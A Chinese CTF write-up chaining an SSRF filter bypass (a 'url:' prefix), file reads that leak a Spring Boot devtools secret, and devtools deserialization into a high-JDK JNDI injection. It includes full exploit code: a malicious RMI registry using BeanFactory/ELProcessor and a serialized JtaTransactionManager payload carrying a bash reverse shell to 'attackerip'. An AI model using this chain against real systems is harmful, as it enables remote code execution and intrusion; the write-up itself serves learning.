最近接触到一道与Java反序列化利用相关的CTF题目,由于之间接触Java反序列化比较少,并且这道题的反序列化利用中涉及到几个比较有意思的地方,例如URLConnection对访问协议处理的特性、Devtools中存在的反序列化面等,因此将解题过程记录分享。
题目提供了一个Jar包用于分析,用IDEA打开Jar包后发现是一个逻辑很简单的Springboot项目。
@RequestMapping(value = "/", method = RequestMethod.GET) public Object index(){ return new RedirectView("/hello"); } @RequestMapping(value = "/pathneverguess", method = RequestMethod.GET) @ResponseBody public String ping(@RequestParam String url){ return PingUtil.ping(url); } @RequestMapping(value = "/hello", method = RequestMethod.GET) @ResponseBody public Result hello(){ Result res = new Result(200, "hello 123"); return res; }
控制器中只有三个访问路由,只有第二个路由对请求进行了处理。将传入的url提出来并且作为传参调用PingUtil类的ping方法。进入PingUtil类后看到类的三个函数如下:
public static String cleanUrl(String url){ Integer right = url.length(); Integer left = 0; while ((right > 0) && (url.charAt(right - 1) <= ' ')) { right--; } while ((left < right) && (url.charAt(left) <= ' ')) { left++; } return url.substring(left, right); } public static Boolean validate(String cand){ String blacklist = "^[file|netdoc|jar|ftp|mailto]"; Pattern pattern = Pattern.compile(blacklist, Pattern.CASE_INSENSITIVE); Matcher matcher = pattern.matcher(cand); boolean matchFound = matcher.find(); if(matchFound) { return false; } else { return true; } } public static String ping(String urlString){ String ret = ""; OutputStream os = new ByteArrayOutputStream(); if(validate(cleanUrl(urlString))) { try { URL url = new URL(urlString); URLConnection urlConnection = url.openConnection(); urlConnection.setReadTimeout(5 * 1000); InputStream is = urlConnection.getInputStream(); byte[] bs = new byte[1024]; int len; while ((len = is.read(bs)) != -1) { os.write(bs, 0, len); } os.close(); is.close(); ret = os.toString(); } catch (Exception e) { e.printStackTrace(); } }else ret = "please buy me a Java XD"; return ret; }
ping函数中首先调用clearnUrl和validate对url参数进行了校验,如果通过校验,url将作为URLConnection的参数去访问url指向的资源,并且将访问结果返回输出。其中,clearUrl函数没有特别的地方,主要的过滤是在validate函数逻辑,它定义了^[file|netdoc|jar|ftp|mailto]
正则表达式对所有以这5种字符串开头的url进行了校验,并且大小写不敏感。
查找资料后发现在Java8版本中,Java 的URLConnection支持的协议没有了gopher,而这5种协议又被限制,能使用的http/https在这里很无害,因此只能想办法绕过这个过滤。直接跟进URL类的构造函数查看,可以定位到URL(URL context, String spec, URLStreamHandler handler)
构造函数中,传参的spec即为传入的url。在构造函数中有一处定位url起始位置的处理逻辑格外引人注意:
limit = spec.length(); while ((limit > 0) && (spec.charAt(limit - 1) <= ' ')) { limit--; //eliminate trailing whitespace } while ((start < limit) && (spec.charAt(start) <= ' ')) { start++; // eliminate leading whitespace } //引人注意的地方 if (spec.regionMatches(true, start, "url:", 0, 4)) { start += 4; } //这里省略无关的代码 ...... //定位提取Protocol for (i = start ; !aRef && (i < limit) && ((c = spec.charAt(i)) != '/') ; i++) { if (c == ':') { String s = spec.substring(start, i).toLowerCase(); if (isValidProtocol(s)) { newProtocol = s; start = i + 1; } break; } }
具体来说,如果url(spec)开头4个字符是url:
,那么start位置会+4到达url:
之后的位置进行后续正常的url解析处理。在后面的循环中将会取用start位置到字符“:”位置之前的字符提取为protocol并调用对应的handler,因此可以借用这个逻辑去绕过正则黑名单的校验,使得原本的http/https SSRF转为了任意文件读取。
Java中的file和netdoc都能够直接列目录,在根目录下看到了flag文件,但是没有权限直接读取。同时还存在一个catforflag的二进制程序,因此推测需要命令执行去读取flag。
在直接读取flag无果后,读取了/proc/self/environ
并且看到下述内容。
从返回结果中可以看到一个比较可疑的SERECT变量,并且确定了JDK的版本是8u265。配合项目中引用的依赖库和Jar包中application.properties
里设置的配置值spring.devtools.remote.secret=${SECRET}
,基本可以确定是和devtools有关。
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <optional>true</optional> </dependency>
查阅了Springboot中devtools相关资料,在看了大量介绍调试的文章后,最后在一篇今年2月份国外的文章里看到介绍了关于devtools存在弱secret口令可以导致反序列化的问题,文章链接如下:
其中的核心部分在于这个调试工具提供了对应的接口能够对用户提交的POST内容进行反序列化。
其中处理http接口请求的处理部分在org.springframework.boot.devtools
中restart/server的HttpRestartServerHandler类中:
public void handle(ServerHttpRequest request, ServerHttpResponse response) throws IOException { this.server.handle(request, response); }
具体处理在HttpRestartServer类中,代码中通过readObject反序列化POST中传输的HTTP请求体:
public void handle(ServerHttpRequest request, ServerHttpResponse response) throws IOException { try { Assert.state(request.getHeaders().getContentLength() > 0L, "No content"); ObjectInputStream objectInputStream = new ObjectInputStream(request.getBody()); ClassLoaderFiles files = (ClassLoaderFiles)objectInputStream.readObject(); objectInputStream.close(); this.server.updateAndRestart(files); response.setStatusCode(HttpStatus.OK); } catch (Exception var5) { logger.warn("Unable to handler restart server HTTP request", var5); response.setStatusCode(HttpStatus.INTERNAL_SERVER_ERROR); } }
Devtools提供的接口访问是需要secret字段进行校验的,如图中HTTP的header中X-AUTH-TOKEN部分,然而根据调查发现这个secret默认是myscret
,并且大部分的开发者容易忘记。在这里的环境中,secret通过上面的文件读取已经拿到了,因此后面的步骤就是构造反序列化链达到RCE。
目标的JDK环境是8u265,是高版本的JDK,因此一些常规的反序列化链不能用。关于高版本JDK的JNDI注入,已经有前辈进行了比较系统的介绍和总结,例如:
1、https://www.cnblogs.com/tr1ple/p/12335098.html#AjhQfy4m
2、https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
3、https://aluvion.gitee.io/2020/05/09/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%AD%E7%9A%84RMI%E3%80%81JRMP%E3%80%81JNDI%E3%80%81LDAP/#JNDI-%E6%B3%A8%E5%85%A5
4、https://paper.seebug.org/942/#classreference-factory
5、http://m0d9.me/2020/07/11/JNDI%EF%BC%9AJNDI-RMI%20%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87JDK%E9%AB%98%E7%89%88%E6%9C%AC%E9%99%90%E5%88%B6%EF%BC%88%E4%B8%89%EF%BC%89/
观察提供的Jar中的依赖环境,可以看到tomcat-embed-core9.0.37
和spring-tx-5.2.8
,因此高版本JDK的JNDI注入是可行的,能够利用spring-tx中的org.springframework.transaction.jta.JtaTransactionManager
来触发lookup进而访问恶意的RMI注册中心来调用本地Factory加载tomcat-embed-core9.0.37
中的链,通过Java8中自带的ELProcessor
来执行任意命令。构造如下:
// 恶意RMI注册服务 public class rmi { public static void main(String[] args) throws Exception { // 在攻击者的RMI服务端通过代码明确指定远程对象通信Host IP,否则RMI通信有些问题 System.setProperty("java.rmi.server.hostname", "10.10.0.2"); System.out.println("Creating evil RMI registry on port 1099"); Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "KINGX=eval")); ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/bin/bash -i >& /dev/tcp/attackerip/7890 0>&1']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
// 序列化构造的spring-tx攻击类 public class poc implements Serializable { public static void main(String[] args) throws Exception { String jndiAddress = "rmi://10.10.0.2:1099/Object"; org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress); // 序列化并写入文件 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("expObject")); objectOutputStream.writeObject(object); objectOutputStream.close(); } }
将序列化生成的数据发送给Devtools的接口后能够在监听的服务器拿到shell:
本文主要通过对一道CTF题的记录,对URLConnection中可能的SSRF绕过和针对Devtools进行高版本JDK的JNDI注入技术进行了介绍,特别是Devtools的反序列化,这个知识点还没有看到有更多的文章有相关介绍。本文对JDK高版本的绕过利用没有展开,因为之前已经有很多优秀的文章,感兴趣的读者可以选择上述列出的文章地址继续了解。最后,感谢阅读。